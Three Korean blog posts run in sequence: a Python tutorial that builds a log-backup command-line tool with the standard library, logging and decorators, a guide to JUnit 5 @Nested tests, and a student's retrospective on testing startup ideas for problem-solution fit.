Python으로 실제 문제 해결하기: 설계 과정, 표준 라이브러리, 로깅, 데코레이터까지 Python 문법을 한 번 훑고 나면 이런 고민이 생긴다. 문법은 알겠는데 실제 프로그램은 어떻게 만들어야 할까? 실제 개발에서는 문법을 많이 외우는 것보다 문제를 작게 나누고 적절한 도구를 조합하는 능력 이 더 중요하다. 이 글에서는 간단한 로그 백업 프로그램을 설계하는 과정을 중심으로 다음 내용을 연결해본다. 문제를 코드로 바꾸는 과정 표준 라이브러리 활용 pathlib , datetime , shutil 명령행 인자 처리 로깅 assert lambda 데코레이터 예외 처리와 재시도 코딩 전에 문제를 정의한다 다음과 같은 요구사항이 있다고 해보자. 특정 폴더의 로그 파일을 날짜별 ZIP 파일로 백업하고 싶다. 바로 코드를 작성하기보다 먼저 필요한 조건을 정리한다. 백업 대상 폴더는 어디인가? 백업 파일은 어디에 저장할 것인가? 백업 파일명은 어떻게 만들 것인가? 대상 폴더가 없으면 어떻게 처리할 것인가? 작업 결과를 어떻게 확인할 것인가? 실패했을 때 어떤 정보를 남길 것인가? 이렇게 문제를 구체화하면 코드로 옮겨야 할 단계가 보이기 시작한다. 문제를 작은 단계로 나누기 이번 프로그램은 다음처럼 나눌 수 있다. 원본 디렉터리 확인 백업 디렉터리 생성 현재 날짜와 시간으로 파일명 생성 ZIP 파일 생성 처리 결과 기록 오류 발생 시 예외 처리 각 단계에 이름을 붙일 수 있다면 함수로 분리할 후보가 된다. def create_backup_directory(): ... def create_backup_filename(): ... def compress_directory(): ... 문제를 먼저 나누고 나면 코드의 구조도 자연스럽게 잡힌다. 표준 라이브러리를 먼저 확인하자 운영체제의 외부 zip 명령을 직접 실행하는 방법도 있지만 Python 자체에도 압축 기능이 있다. 예를 들어 zipfile 을 사용할 수 있다. from zipfile import ZipFile 폴더 전체를 간단히 압축하는 상황이라면 shutil.make_archive() 도 편리하다. import shutil shutil.make_archive( "backup", "zip", "logs", ) 외부 프로그램을 호출하기 전에 Python 표준 라이브러리로 해결할 수 있는지 먼저 확인하는 습관 을 들이면 운영체제 의존성과 추가 설치를 줄일 수 있다. pathlib 로 경로 다루기 파일 경로를 문자열로 직접 이어붙이는 것보다 Path 를 사용하면 코드가 명확해진다. from pathlib import Path source_dir = Path("logs") backup_dir = Path("backups") 하위 경로 연결: log_file = ( source_dir / "access.log" ) 폴더 생성: backup_dir.mkdir( parents=True, exist_ok=True, ) 존재 여부 확인: if not source_dir.exists(): print( "원본 폴더가 없습니다." ) 날짜 기반 파일명 만들기 백업 파일끼리 겹치지 않게 현재 날짜와 시간을 파일명에 넣을 수 있다. from datetime import datetime now = datetime.now() timestamp = now.strftime( "%Y%m%d_%H%M%S" ) print(timestamp) 예: 20260929_231500 파일명: backup_name = ( f"logs_{timestamp}" ) 백업 함수 만들기 이제 기능을 함수로 묶어보자. from datetime import datetime from pathlib import Path import shutil def backup_directory( source_dir: Path, backup_dir: Path, ) -> Path: if not source_dir.exists(): raise FileNotFoundError( f"원본 폴더가 없습니다: " f"{source_dir}" ) backup_dir.mkdir( parents=True, exist_ok=True, ) timestamp = ( datetime .now() .strftime( "%Y%m%d_%H%M%S" ) ) archive_base = ( backup_dir / f"logs_{timestamp}" ) archive_path = ( shutil.make_archive( str(archive_base), "zip", root_dir=source_dir, ) ) return Path( archive_path ) 사용: source = Path("logs") destination = Path( "backups" ) backup_file = ( backup_directory( source, destination, ) ) print(backup_file) 처음부터 모든 기능을 넣지 않는다 작은 프로그램도 한 번에 완성하려고 하면 디버깅이 어려워질 수 있다. 다음처럼 단계적으로 발전시키는 편이 좋다. 1단계 폴더 하나를 압축한다. 2단계 날짜 기반 파일명을 적용한다. 3단계 백업 폴더를 자동 생성한다. 4단계 예외 처리를 추가한다. 5단계 로그를 남긴다. 6단계 필요하다면 오래된 백업을 정리한다. 작동하는 최소 버전부터 만들고 조금씩 개선하는 방식 이 문제를 찾고 수정하기 쉽다. 자주 사용하는 표준 라이브러리 Python에는 설치 없이 바로 사용할 수 있는 모듈이 많이 포함되어 있다. 모듈 주요 용도 pathlib 파일과 디렉터리 경로 json JSON 변환 datetime 날짜와 시간 logging 로그 기록 sys Python 실행 환경 os 운영체제 관련 기능 shutil 파일·폴더 고수준 작업 zipfile ZIP 압축 파일 re 정규 표현식 argparse CLI 인자 처리 collections 확장 자료구조 모든 모듈을 외우기보다는 필요한 기능이 생겼을 때 표준 라이브러리에 있는지 찾아보는 습관 이 중요하다. sys 로 실행 환경 확인하기 import sys print(sys.version) print(sys.version_info) 명령행 인자는 sys.argv 로도 읽을 수 있다. import sys print(sys.argv) 다음처럼 실행했다고 하자. python app.py users.json 첫 번째 추가 인자는 다음처럼 가져올 수 있다. filename = sys.argv[1] 간단한 경우에는 충분하지만 옵션이 많아지면 argparse 가 더 편리하다. argparse 로 CLI 만들기 import argparse parser = ( argparse.ArgumentParser() ) parser.add_argument( "--source", required=True, ) parser.add_argument( "--destination", default="backups", ) args = parser.parse_args() print(args.source) print(args.destination) 실행: python backup.py --source logs --destination backups 이제 소스 코드 수정 없이 실행할 때 백업 대상과 저장 위치를 바꿀 수 있다. print() 와 logging 의 차이 개발 초반에는 print() 만으로도 상태를 확인할 수 있다. 하지만 프로그램을 실제로 반복 실행한다면 다음 정보가 필요해질 수 있다. 언제 발생했는가? 정상 정보인가, 경고인가, 오류인가? 어떤 모듈에서 발생했는가? 예외의 traceback은 무엇인가? 파일에도 저장해야 하는가? 이런 상황에서는 logging 모듈이 적합하다. 기본 로깅 import logging logging.basicConfig( level=logging.INFO, ) logging.debug( "디버그 정보" ) logging.info( "정상 처리" ) logging.warning( "주의가 필요함" ) logging.error( "오류 발생" ) logging.critical( "치명적인 오류" ) 대표적인 로그 수준은 다음 순서로 심각도가 높아진다. DEBUG INFO WARNING ERROR CRITICAL 모듈별 로거 만들기 import logging logger = logging.getLogger( __name__ ) logger.info( "프로그램 시작" ) __name__ 을 사용하면 로그가 어느 모듈에서 발생했는지 구분하기 쉬워진다. 예외 traceback 기록하기 try: result = 10 / 0 except ZeroDivisionError: logger.exception( "계산 중 오류 발생" ) logger.exception() 은 현재 처리 중인 예외의 traceback을 함께 기록한다. 단순히 오류 메시지만 출력하는 것보다 문제 원인을 추적하기 쉽다. assert 는 언제 사용할까? 개발 중 코드 내부에서 반드시 참이라고 가정하는 조건 을 확인할 때 사용할 수 있다. users = ["kim"] assert len(users) > 0 조건이 거짓이면 AssertionError 가 발생한다. 메시지도 추가할 수 있다. assert ( len(users) > 0 ), "사용자 목록은 비어 있으면 안 됩니다." 외부 입력 검증에 assert 를 쓰지 말자 다음처럼 사용자 입력이나 비즈니스 규칙 검증에 의존하는 것은 적절하지 않다. assert age >= 0 Python을 최적화 옵션으로 실행하면 assert 문이 제거될 수 있기 때문이다. 외부 입력은 명시적인 조건과 예외로 검사하는 편이 안전하다. if age < 0: raise ValueError( "나이는 0 이상이어야 합니다." ) lambda 아주 짧은 일회성 함수를 표현할 때 사용할 수 있다. users = [ { "name": "kim", "score": 85, }, { "name": "lee", "score": 95, }, { "name": "park", "score": 80, }, ] 점수 기준 정렬: users.sort( key=lambda user: ( user["score"] ) ) 복잡한 로직이라면 일반 함수가 더 읽기 쉽다. def get_score(user): return user["score"] users.sort( key=get_score ) 데코레이터란? 데코레이터는 기존 함수를 감싸서 공통 기능을 추가하는 구조다. 예를 들어 함수 실행 시간을 측정해보자. from functools import wraps from time import perf_counter def measure_time(func): @wraps(func) def wrapper( *args, **kwargs, ): start = ( perf_counter() ) result = func( *args, **kwargs, ) elapsed = ( perf_counter() - start ) print( f"{func.__name__}: " f"{elapsed:.4f}초" ) return result return wrapper 적용: @measure_time def process_data(): return sum( range(1_000_000) ) 호출: process_data() 개념적으로 다음 코드와 비슷하다. process_data = ( measure_time( process_data ) ) 데코레이터는 어디에서 사용할까? 실제 Python 코드에서는 다음과 같은 용도로 자주 볼 수 있다. 로그인 여부 확인 권한 검사 실행 시간 측정 로깅 캐싱 재시도 트랜잭션 API 라우팅 예를 들어 FastAPI의 다음 문법도 데코레이터다. @app.get("/users") def get_users(): ... Python 웹 개발을 공부한다면 데코레이터의 동작 원리를 알아두면 프레임워크 코드를 이해하기 쉬워진다. 재시도 로직 외부 네트워크 요청은 일시적으로 실패할 수 있다. 간단한 재시도 함수를 만들어보자. from time import sleep def retry( func, attempts=3, delay=1, ): last_error = None for attempt in range( attempts ): try: return func() except ConnectionError as error: last_error = error is_last = ( attempt == attempts - 1 ) if not is_last: sleep(delay) raise last_error 중요한 점은 다음처럼 모든 예외를 무조건 재시도하지 않는 것이다. # 권장하지 않는 예 except: ... 프로그래밍 오류까지 재시도해버리면 실제 버그를 숨길 수 있다. 재시도 가능한 예외만 구체적으로 지정하는 편이 좋다. 실제 문제 해결 흐름 Python으로 프로그램을 만들 때 다음 순서를 반복하면 좋다. 1. 문제 정의 무엇을 자동화하거나 해결할 것인지 명확히 한다. 2. 입력과 출력 결정 무엇을 받아 어떤 결과를 만들지 정한다. 3. 작은 단계로 분해 각 단계에 이름을 붙일 수 있을 정도로 나눈다. 4. 기존 도구 조사 내장 함수나 표준 라이브러리에 이미 필요한 기능이 있는지 확인한다. 5. 최소 동작 버전 구현 먼저 정상적인 경우가 동작하도록 만든다. 6. 예외 처리 현실적으로 어떤 실패가 발생할지 생각한다. 7. 로그 추가 문제가 발생했을 때 원인을 추적할 정보를 남긴다. 8. 리팩터링 중복을 없애고 지나치게 큰 함수를 나눈다. 완성 예제: 로그 백업 CLI 지금까지 배운 내용을 하나의 프로그램으로 연결해보자. import argparse import logging import shutil from datetime import datetime from pathlib import Path logging.basicConfig( level=logging.INFO, format=( "%(asctime)s " "%(levelname)s " "%(message)s" ), ) logger = logging.getLogger( __name__ ) def backup_directory( source_dir: Path, backup_dir: Path, ) -> Path: if not source_dir.exists(): raise FileNotFoundError( f"원본 폴더 없음: " f"{source_dir}" ) backup_dir.mkdir( parents=True, exist_ok=True, ) timestamp = ( datetime .now() .strftime( "%Y%m%d_%H%M%S" ) ) archive_base = ( backup_dir / f"backup_{timestamp}" ) archive_path = ( shutil.make_archive( str(archive_base), "zip", root_dir=source_dir, ) ) return Path( archive_path ) def parse_args(): parser = ( argparse.ArgumentParser() ) parser.add_argument( "--source", required=True, ) parser.add_argument( "--destination", default="backups", ) return parser.parse_args() def main(): args = parse_args() try: archive = ( backup_directory( Path(args.source), Path( args.destination ), ) ) except FileNotFoundError as error: logger.error(error) return except OSError: logger.exception( "백업 처리 중 " "시스템 오류" ) return logger.info( "백업 완료: %s", archive, ) if __name__ == "__main__": main() 실행: python backup.py --source logs --destination backups 이 프로그램에는 여러 Python 핵심 개념이 함께 사용된다. 함수 모듈 pathlib datetime shutil argparse 예외 처리 로깅 __name__ == "__main__" 문법을 따로 외우던 단계에서 실제 문제를 해결하는 프로그램으로 연결되는 지점 이다. 핵심 정리 실제 개발에서는 문법 암기보다 문제를 작은 단계로 분해하는 능력이 중요하다. 외부 명령이나 패키지를 사용하기 전에 Python 표준 라이브러리에서 해결할 수 있는지 확인해볼 수 있다. pathlib , datetime , shutil , argparse , logging 은 자동화 프로그램에서 활용도가 높다. logging 을 사용하면 운영 중 발생한 문제를 print() 보다 체계적으로 추적할 수 있다. assert 는 내부 개발 가정을 확인하는 도구이며 외부 입력 검증에는 의존하지 않는 편이 좋다. lambda 는 짧은 일회성 함수에 적합하지만 복잡한 로직은 일반 함수가 읽기 쉽다. 데코레이터는 기존 함수에 공통 기능을 추가하는 구조이며 웹 프레임워크에서도 자주 사용된다. 프로그램은 최소 동작 버전부터 만들고 예외 처리, 로깅, 리팩터링을 점진적으로 추가하는 방식이 유지보수에 유리하다.
JUnit 5에서는 @Nested 를 사용해 테스트 클래스 내부에 중첩 클래스를 만들 수 있다. 테스트 대상이 많아지면 하나의 SolutionTest 안에 테스트 메서드가 계속 쌓이면서 어떤 기능을 검증하는 테스트인지 구분하기 어려워질 수 있다. 이때 관련된 테스트를 중첩 클래스로 묶으면 테스트의 목적과 구조를 더 명확하게 표현할 수 있다. 기본 사용법 import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Nested; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.*; class SolutionTest { private final Solution solution = new Solution(); @Nested @DisplayName("소수 판별 테스트") class IsPrimeTest { @Test @DisplayName("소수는 true를 반환한다") void primeNumber() { assertTrue(solution.isPrime(7)); } @Test @DisplayName("합성수는 false를 반환한다") void compositeNumber() { assertFalse(solution.isPrime(9)); } } } @Nested 가 붙은 IsPrimeTest 클래스 안에 isPrime() 과 관련된 테스트를 모아 두었다. IntelliJ에서 실행하면 테스트 결과 역시 계층적으로 표시된다. SolutionTest └─ 소수 판별 테스트 ├─ 소수는 true를 반환한다 └─ 합성수는 false를 반환한다 단순히 코드만 묶는 것이 아니라 테스트 결과 화면에서도 어떤 기능의 테스트인지 쉽게 확인할 수 있다는 장점이 있다. 여러 구현을 테스트할 때 활용하기 같은 기능을 서로 다른 방식으로 구현했다면 @Nested 를 사용해 테스트 목적을 유지하면서 여러 구현을 함께 검증할 수도 있다. 예를 들어 두 개의 소수 판별 메서드가 있다고 하자. boolean isPrime(int n) boolean isPrime2(int n) 두 메서드는 모두 int → boolean 형태이므로 IntPredicate 를 이용해 동일한 테스트 로직을 재사용할 수 있다. import java.util.function.IntPredicate; @Nested @DisplayName("소수 판별 테스트") class IsPrimeTest { private void verifyPrimeMethod(IntPredicate isPrime) { assertTrue(isPrime.test(2)); assertTrue(isPrime.test(7)); assertTrue(isPrime.test(97)); assertFalse(isPrime.test(1)); assertFalse(isPrime.test(9)); assertFalse(isPrime.test(49)); } @Test @DisplayName("isPrime 구현") void isPrime() { verifyPrimeMethod(solution::isPrime); } @Test @DisplayName("isPrime2 구현") void isPrime2() { verifyPrimeMethod(solution::isPrime2); } } 이렇게 하면 테스트 데이터와 검증 코드는 한 번만 작성하고, 실제 알고리즘 구현만 바꿔서 동일한 테스트를 적용할 수 있다. 결과 구조도 다음처럼 명확하게 표시된다. SolutionTest └─ 소수 판별 테스트 ├─ isPrime 구현 └─ isPrime2 구현 @Nested 를 사용하는 이유 @Nested 의 가장 큰 장점은 테스트를 단순한 메서드 목록이 아니라 기능별 계층 구조 로 표현할 수 있다는 점이다. 예를 들어 하나의 클래스에 여러 기능이 있다면 다음처럼 구성할 수 있다. class SolutionTest { @Nested class IsPrimeTest { // isPrime 관련 테스트 } @Nested class FactorizeTest { // factorize 관련 테스트 } @Nested class SolutionMethodTest { // solution 관련 테스트 } } 테스트 대상의 구조와 테스트 코드의 구조를 비슷하게 만들 수 있기 때문에 테스트 코드가 많아질수록 가독성이 좋아진다. @DisplayName 과 함께 사용하기 @Nested 는 @DisplayName 과 함께 사용하면 특히 유용하다. @Nested @DisplayName("소수 판별") class IsPrimeTest { @Test @DisplayName("2보다 작은 수는 소수가 아니다") void lessThanTwo() { // ... } } 테스트 결과가 다음과 같이 자연어에 가까운 형태로 나타난다. 소수 판별 └─ 2보다 작은 수는 소수가 아니다 메서드명만으로 테스트 의도를 모두 표현하는 것보다 결과를 읽기 쉽다. 정리 JUnit 5의 @Nested 는 관련된 테스트를 중첩 클래스로 묶어 테스트 코드를 구조화할 수 있게 해준다. 특히 다음과 같은 경우 유용하다. 하나의 테스트 클래스에서 여러 기능을 테스트할 때 정상 상황과 예외 상황을 구분하고 싶을 때 동일 기능의 여러 구현을 비교할 때 테스트 결과를 계층적으로 확인하고 싶을 때 이번 테스트에서는 isPrime() 과 isPrime2() 라는 두 구현을 하나의 IsPrimeTest 안에 묶고, IntPredicate 를 이용해 공통 테스트 로직까지 재사용했다. 이를 통해 @Nested 는 단순히 테스트 클래스를 나누는 기능이 아니라, 테스트 코드 자체로 기능과 테스트 의도를 표현하는 수단 으로 사용할 수 있다는 점을 확인할 수 있었다.
서론 개발자를 꿈꾸는 컴공 학생이라면 포트폴리오에 넣을 멋진 프로젝트 하나 만들기를 꿈꾼다. 나도 늘 그래왔다. 기술 스택 정하고, ERD 설계하고, API 명세 쓰고, 배포까지 하면 끝이라고 생각했다. 그런데 배포하고 나서 대시보드를 열어보면... DAU : 0 가입자 : 나, 팀원, 지인 서버는 잘 돌아가는데 쓰는 사람은 없는, 예쁜 쓰레기가 되었다. 돌아보면 지금까지 했던 프로젝트는 전부 이런 순서였다. 아이디어 떠올림 → 기능 정리 → 개발 → 배포 → (아무도 안 씀) → 포트폴리오에 적음 기술적으로는 배운 게 많았다. 그런데 면접에서 "그래서 왜 이 기술을 쓰게 되었나요?"라는 질문을 받으면 할 말이 없었다. 트래픽이 없으니 성능 개선도, 장애 대응도, 사용자 피드백 반영도 전부 가정 일 뿐이었다. SW마에스트로 과정에서 아이디어를 선정할 때도 처음에는 창의적인 솔루션만 생각했다. "이런 거 있으면 좋지 않을까?"로 시작해서 바로 멘토님들께 피드백을 요청했다. 그때 제일 많이 들은 말이 이거였다. "유저 만나봤나요? 그 문제, 진짜 있어요?" 머리로는 당연한 말인데, 막상 하라면 이보다 어려울 수가 없다. 누구를 만나야 하는지, 뭘 물어봐야 하는지, 어디까지 확인해야 "문제가 있다"고 말할 수 있는지 전혀 갈피를 잡을 수 없다. 물론 정답은 없다. 데이터를 분석하더라도 기준은 주관적일 수밖에 없고, 특히 데이터가 적은 초기 서비스일수록 스스로의 판단이 더 중요해진다. 아래에서는 마에스트로에서 프로젝트를 선정하며 문제 가설을 검증했던 과정을 회고해보려고 한다. 1. PSF 방법론이란? PSF(Problem-Solution Fit) : 내가 정의한 문제가 실제로 존재하고, 내 해결책이 그 문제를 푸는지 확인하는 단계 Problem-Solution Fit → Product-Market Fit → Scale (문제가 진짜 있나?) (계속 쓰고 돈 내나?) (키우기) 대부분의 프로젝트는 문제 가설을 건너뛰고 바로 Solution 부터 만든다. 머릿속으로 대충 문제를 정의하고, 그걸 해결하는 독창적인 아이디어에만 집중하게 된다. 가장 큰 함정은 그 문제가 내 머릿속에만 있을 수 있다 는 것이다. 피땀 흘려 만든 서비스를 설명해도 뜨뜻미지근한 반응이 돌아오는 건, 문제가 실존하는지, 그 문제에 반응하는 "페르소나"가 누구인지 검증하지 않았기 때문이다. PSF에서 확인하는 핵심은 두 가지다. 1. 문제가 실존하는가? → 이 불편을 실제로 겪는 사람이 있나 2. 해결책에 반응하는가? → 해결책을 줬을 때 실제로 행동하나 린 스타트업과 맘 테스트(The Mom Test) 같은 고객 개발(Customer Development) 방법론에서 공통으로 강조하는 원칙은 하나다. "의견이 아니라 행동을 본다." "이런 앱 있으면 쓰실 거예요?"라고 물으면 대부분 "네, 좋을 것 같아요"라고 답한다. 엄마한테 물어봐도 좋다고 한다. 그런데 그 사람이 실제로 쓸지는 전혀 다른 문제다. 2. 문제가 실존하는지 확인하는 방법 그 당시 세웠던 여러 문제 가설 중, 서로 다른 방법으로 검증한 3가지를 소개하려고 한다. 시각장애인 안마원 → 만들기 전에 인터뷰 헬스장 환불 → 프로토타입 만들고 반응 측정 셋로그 소개팅 → 직접 주최하기 2-1. 원장님, 이 부분이 힘드신 거 맞을까요? 첫 번째는 아무것도 만들기 전에 사용자를 만나러 가는 방식이었다. 이때 가지고 있던 것은 문제 가설 과 시장조사 데이터뿐이었다. 가설: 시각장애인 원장은 예약 관리, 바우처 행정 같은 전산 업무가 어려워서 어쩔 수 없이 인건비와 불편을 감수하고 있을 것이다. 맘 테스트 원칙대로 아이디어는 숨기고, 최근에 실제로 어떻게 하고 있는지를 묻는 질문지를 만들었다. - 손님은 주로 어떤 경로로 오시나요? - 도와주시는 분이 대신 해주는 업무는 어떤 게 있나요? - 그 업무를 직접 해보신 적 있으세요? 그때 어떠셨어요? - 핸드폰은 어떻게 쓰시나요? - 마법의 지팡이가 있다면 뭘 바꾸고 싶으세요? 첫 관문은 늘 이런 인터뷰에 응해줄 사람을 찾는 것 이다. 집 근처 시각장애인 안마원 정보를 찾아보고, 번호로 문자를 보내거나 전화를 걸었다. 모르는 사람의 인터뷰 요청에 시간을 내줄 이유는 없고, 거절은 당연한 반응이다. 여러 번 거절당한 끝에, 흔쾌히 인터뷰에 응해주신 원장님을 만날 수 있었다. 인터뷰에서 들은 것 업무는 이미 잘 돌아가고 있었다. 예약은 전화와 문자로 원활했고, 청소나 안내는 활동지원사 한 분이 돕고 있었다. 오히려 예상 못 한 답이 나왔다. 문자 입력 방식을 묻자 이렇게 답했다. 음성으로 하면 기계가 발음을 못 알아들어서 오타가 날 수 있잖아요. 눈이 안 보이니까 철자도 모른다는 인식을 손님들한테 남기면 안 되니까, 긴 문장은 블루투스 키보드나 컴퓨터로 작성해서 보내요. 접근성 문제를 이미 스스로 해결하고 있었고 , 그 이유는 편의가 아니라 전문가로서의 자존심 이었다. 마법의 지팡이 질문에는 이렇게 답했다. 보행을 좀 자유롭게 할 수 있으면 좋겠죠. 모르는 길 갈 때가 불편하긴 해요. 가장 큰 불편은 업무가 아니라 일상생활 속에 있었다. 일은 실내에서 하니 큰 어려움이 없었던 것이다. 마지막으로 온라인 홍보를 편하게 해주면 쓰시겠냐고 물었다. 한 번 잘 만든다고 되는 게 아니라 계속 관리를 해야 되잖아요. 손님 후기나 경험담을 남기고 싶은 마음은 있는데, 아직 시행은 안 하고 있어요. PSF 회고 문제가 실존하는가? - 전산 업무 불편 ✗ 이미 활동지원사, 키보드로 해결 중 - 온라인 홍보 관리 △ "마음은 있다"는 의견. 지금 쓰는 시간이나 돈은 없음 해결책에 반응하는가? - 확인 불가 홍보 질문은 사실 내가 해결책을 먼저 꺼낸 거였다. "마음은 있는데 아직 안 하고 있다"는 맘 테스트 기준으로 가장 약한 신호 다. 정말 아픈 문제라면 이미 뭐라도 하고 있었을 것이다. 팀원이 인터뷰한 다른 안마원도 비슷했다. 예약은 전화와 기억으로, 전산 업무는 가족이 대신 하고 있었다. 결론은 우리가 풀 만큼 아픈 문제는 없다 는 것이었다. 코드 한 줄 쓰기 전에 알게 된 게 인터뷰의 가장 큰 수확이었다. 2-2. 헬스장 환불, 안해주면 어떡하죠..? 두 번째는 방식을 바꿨다. 헬스장 환불로 고생하는 사람은 한곳에 모여 있지 않아서 직접 찾아가기 어렵다. 그래서 핵심 기능만 있는 프로토타입 을 먼저 만들고, 행동 데이터로 확인하기로 했다. 아이디어 정리는 대략 아래와 같다. 헬스장 환불은 법적 기준이 명확하다. 위약금은 10%까지만, "환불 불가" 약관은 무효다. 그런데도 사람들은 법을 모르고, 절차가 귀찮아서 적당히 합의하거나 포기할 거라고 봤다. 이 내용을 바탕으로 최소 기능의 프로토타입을 구현했다. 바이브 코딩이 쉬워지면서, 고객 의견을 모으는 것보다 최소 기능을 만드는 게 더 빠를 때도 있는 것 같다. 링크 - claimauto 지금 상황을 입력하면 법적 기준에 맞는 환급액을 보여주고, 헬스장에 보낼 문서까지 만들어주는 서비스다. 결제 금액, 이용 기간 입력 ↓ 법적 기준으로 환급액 자동 계산 ↓ 헬스장에 보낼 PDF 청구서 발급 만든 링크는 헬스장 환불로 고민하는 사람이 있을 만한 커뮤니티에 직접 올렸다. 왼쪽부터 에브리타임, 지역 커뮤니티, 지식인 답변 그리고 Mixpanel을 붙여서 사람들이 핵심 기능까지 오는지 확인했다. 일별 지표 (4/27 ~ 5/4) 날짜 방문자 폼 제출 PDF 저장 4/27 67명 5명 2명 4/28 73명 5명 0명 4/29 19명 1명 0명 4/30 16명 2명 1명 5/1 7명 0명 0명 5/2 3명 1명 1명 5/3 17명 2명 0명 5/4 6명 0명 0명 합계 208명 16명 4명 방문 208명 → 폼 제출 16명 (7.7%) → PDF 저장 4명 (폼 제출자의 25%) PSF 회고 문제가 실존하는가? - △ 8일 동안 208명이 들어왔고 16명은 자기 계약 정보를 직접 입력했다 환불로 고민하는 사람은 분명히 있다 해결책에 반응하는가? - ✗ 환급액 확인까지는 왔지만 PDF 청구서를 받은 건 4명 "얼마 받을 수 있나"는 궁금해도, 그걸 들고 헬스장과 싸울 생각까지는 없었다 문제 자체는 있었다. 하지만 헬스장 환불은 1년에 한 번 겪을까 말까 한 문제고, 이 해결책은 그 순간의 궁금증 은 풀어줬지만 행동 까지 이어지진 못했다. 그래도 이번엔 "잘 안 됐다"가 아니라 어느 단계에서 멈췄는지 를 숫자로 말할 수 있었다. 측정을 붙인 덕분이다. 2-3. 셋로그로 소개팅 한 번 주선해볼까.. ᄒᄒ 세 번째는 인스타 릴스 하나에서 시작했다. 셋로그 앱으로 단체 소개팅을 하는 게 유행이다. 셋로그는 친구끼리 하루 일상을 짧은 영상으로 공유하는 앱이다. 정해진 규칙은 없다. 원하는 사람을 초대해서 원할 때 올리면 된다. 이걸 소개팅에 쓰는 걸 보면서 이런 생각이 들었다. "사람에게 호감을 느끼게 하는 건 결국 프로필이 아니라 일상 속에서 나오는 매력 아닐까?" 그래서 자유로운 셋로그 앱 위에 우리만의 형식 을 얹었다. 남녀 3:3으로 방을 만들고, 딱 3일 동안 서로의 일상을 공유하고, 마지막 날 마음에 드는 사람을 고른다. 이번엔 앱을 먼저 만들지 않았다. 이미 있는 셋로그 앱으로 소개팅을 직접 주최했다. 코드 한 줄 없이 사람이 손으로 서비스를 돌린 셈이다. 에브리타임, 인스타 모집 ↓ 신청 폼 ↓ 3:3 방 편성 → 셋로그에서 3일간 일상 공유 ↓ 최종 선택 → 서로 고르면 연락처 전달 소개팅 자체는 사실 이미 존재하는 시장이기 때문에, 이번 검증의 질문은 "사람들이 이걸 할까?"가 아니었다. 문제: 외모와 스펙으로 빠르게 판단하고, 매칭 뒤엔 억지로 대화를 이어가야 하는 기존 소개팅 방식에 지친 사람이 있는가? 해결책: 3일 동안 서로의 일상을 보고 고르는 방식에 실제로 돈과 시간을 쓰는가? 처음엔 방이 3일 동안 제대로 굴러가는지만 확인했고, 이후 기수마다 더 세분화된 지표를 트래킹하게 되었다. 신청 → 참가비 입금 → 3일간 영상 업로드 수 → 최종 선택 비율 → 서로 매칭률 → 재참가 수 → 신청 ... 기수가 끝날 때마다 최종 선택과 함께 설문도 받았다. 지표와 설문을 정리하면 이렇다. PSF 회고 문제가 실존하는가? - ✓ 참가비를 내고 신청했다. 누적 120명 최근 1년 데이팅 앱 사용 경험은 7% (7~8기 설문) → 앱 대신 소개팅, 과팅을 받던 사람들이 이 방식을 선택했다 해결책에 반응하는가? - ✓ 3일 동안 영상을 올리고 최종 선택까지 왔다. 누적 27쌍 매칭 - ✓ 상대를 고른 이유 1위는 외모(44%)가 아니라 영상 속 댓글과 반응(52%) (7~8기 설문) → "일상을 보고 고른다"는 가설이 행동으로 확인됐다 - △ 업로드를 안 한 이유 1위는 "올릴 게 없어서" → 방식은 맞는데, 올리게 만드는 장치가 필요했다 세 번의 검증 중 처음으로 문제와 해결책 둘 다 행동 으로 확인됐다. 다음 기수에 다시 신청하는 사람도 생기기 시작했다. 우리 방식을 좋아해 주는 첫 팬이었다. 그런데 여기서 한계가 보였다. 셋로그는 남의 앱이라 기능을 바꿀 수도, 로그를 볼 수도 없었다. 업로드 수 같은 지표도 전부 손으로 셌다. PSF는 확인했지만, 해결책을 더 좋게 만들려면 우리가 직접 바꿔가며 검증할 수 있는 판 이 필요했다. 운영하며 막힌 곳이 그대로 우리 앱의 출발점이 됐다. 셋로그로 운영하며 막힌 곳 → 우리 앱에서 바꾸는 것 기능도 못 바꾸고 로그도 못 봄 → 미션, 질문, 선택 방식을 직접 바꿔가며 데이터로 검증 한 사람 영상만 모아 볼 수 없음 → 참가자별로 모아 보기 궁금한 걸 물어볼 방법이 없음 (못 친해짐) → 방 안 채팅, 질문 미션 운영자가 방에 들어가 미션을 올림 → 앱이 미션을 던지고, 최종 선택도 앱 안에서 머릿속에서 정한 기능이 아니라, 몇 기수를 손으로 돌리면서 부딪힌 문제에서 나온 기능이다. 지금은 셋로그로 하던 소개팅을 우리 앱 하루하루 에서 운영하고 있다. 기존에 쌓아 올린 데이터와 참가자 덕분에 앱으로도 1~2기를 원활하게 진행할 수 있었고, 우리의 가장 큰 고민은 이제 "사용자가 0명이면 어떡하지?"가 아니라 "더 많은 사용자를 유지하려면 무엇을 해야 하지?"로 바뀌었다. 세 아이디어 모두, 앱을 만들기 전에 유저를 먼저 만나보며 판단할 수 있었다. 3. 회고 안마원 인터뷰 → 문제 가설이 틀렸음을 확인했다 헬스장 프로토타입+측정 → 문제에는 중간 정도 반응했으나, 행동으로 이어지지 않았다 셋로그 직접 주최 → 사람이 돈과 시간을 쓰는 걸 봤고, 팬이 생겼다 뒤로 갈수록 사용자가 내놓는 게 커졌다. 말 < 클릭 < 시간과 돈 그리고 PSF를 확인하고 나서야 "무엇을 만들지"가 정해졌다. 셋로그 사례에서 앱의 기능은 아이디어 회의가 아니라, 운영하며 막힌 곳에서 나왔다. 개발은 검증의 끝이 아니라, 검증을 계속하기 위한 도구였다. 물론 다른 의견도 있을 수 있다. 안마원 인터뷰에서 가장 큰 불편이 일상생활 속 불편함이었다면 그 문제를 더 파고들면 좋겠다고 생각하는 사람도 있을 것이고, 헬스장 문제도 다른 솔루션을 만들어 인터뷰해가며 발전시키면 좋은 서비스가 될 수도 있을 것이다. 이 과정의 핵심은 "문제가 존재하는가? → 해결책이 이 문제에 적합한가?"를 끊임없이 자문해야 한다는 것이다. 개발자는 주어진 문제 를 어떻게 해결할지에 집중하는 경향이 있다. 하지만 정작 "그 문제가 실존하는가?"라는 질문에 답해본 컴공 학생은 많지 않다고 생각한다. 실사용자가 있는 서비스를 만들고 싶거나, 대 바이브 코딩 시대에 토이 프로젝트 가 아닌 돈을 버는 서비스를 혼자서 기획해보고 싶다면, 코딩보다 언제나 먼저 답해야 하는 질문이 있다. "이 문제 때문에 지금 이미 시간이나 돈을 쓰고 있는 사람이 있는가?" 개발은 언제나 그다음이다.
